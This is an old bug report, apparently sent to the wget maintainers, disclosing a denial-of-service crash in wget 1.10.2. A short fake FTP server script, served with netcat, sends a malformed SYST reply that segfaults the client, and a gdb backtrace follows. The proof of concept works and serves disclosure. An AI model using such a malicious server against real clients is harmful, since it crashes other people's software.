2006.11.04 by kanedaaa

DOS [seg fault] after SYST in ftp connect.
posted to: bug-wget@gnu.org

$cat fake_server.sh
#!/bin/bash
  
echo "220 Ftp"
sleep 1
echo "331 Pass"
sleep 1 
echo "230 logged in."
sleep 1
echo -e "215 \r"


$nc -e ./fake_server.sh -l -p 5555


[kaneda<-ogoreczek]~/wget/wget-1.10.2$wget ftp://a:a@localhost:5555
--17:53:16--  ftp://a:*password*@localhost:5555/
           => `.listing'
Resolving localhost... 127.0.0.1
Connecting to localhost|127.0.0.1|:5555... connected.
Logging in as a ... Logged in!
==> SYST ... Segmentation fault (core dumped)


Core was generated by `./src/wget ftp://a:a@localhost:5555'.
Program terminated with signal 11, Segmentation fault.
#0  0x4022e0b2 in strcasecmp () from /lib/libc.so.6
(gdb) bt
#0  0x4022e0b2 in strcasecmp () from /lib/libc.so.6
#1  0x08054128 in ftp_syst ()
#2  0x0804fd95 in getftp ()
#3  0x08051285 in ftp_loop_internal ()
#4  0x080518c4 in ftp_get_listing ()
#5  0x0805291f in ftp_loop ()
#6  0x08066efe in retrieve_url ()
#7  0x08061d54 in main ()

2.4.33.3

Slackware 11.0

Reading specs from /usr/lib/gcc/i486-slackware-linux/3.4.6/specs
Configured with: ../gcc-3.4.6/configure --prefix=/usr --enable-shared
--enable-threads=posix --enable-__cxa_atexit --disable-checking
--with-gnu-ld --verbose --target=i486-slackware-linux
--host=i486-slackware-linux
Thread model: posix
gcc version 3.4.6

wget-1.10.2 

best regards
Kanedaaa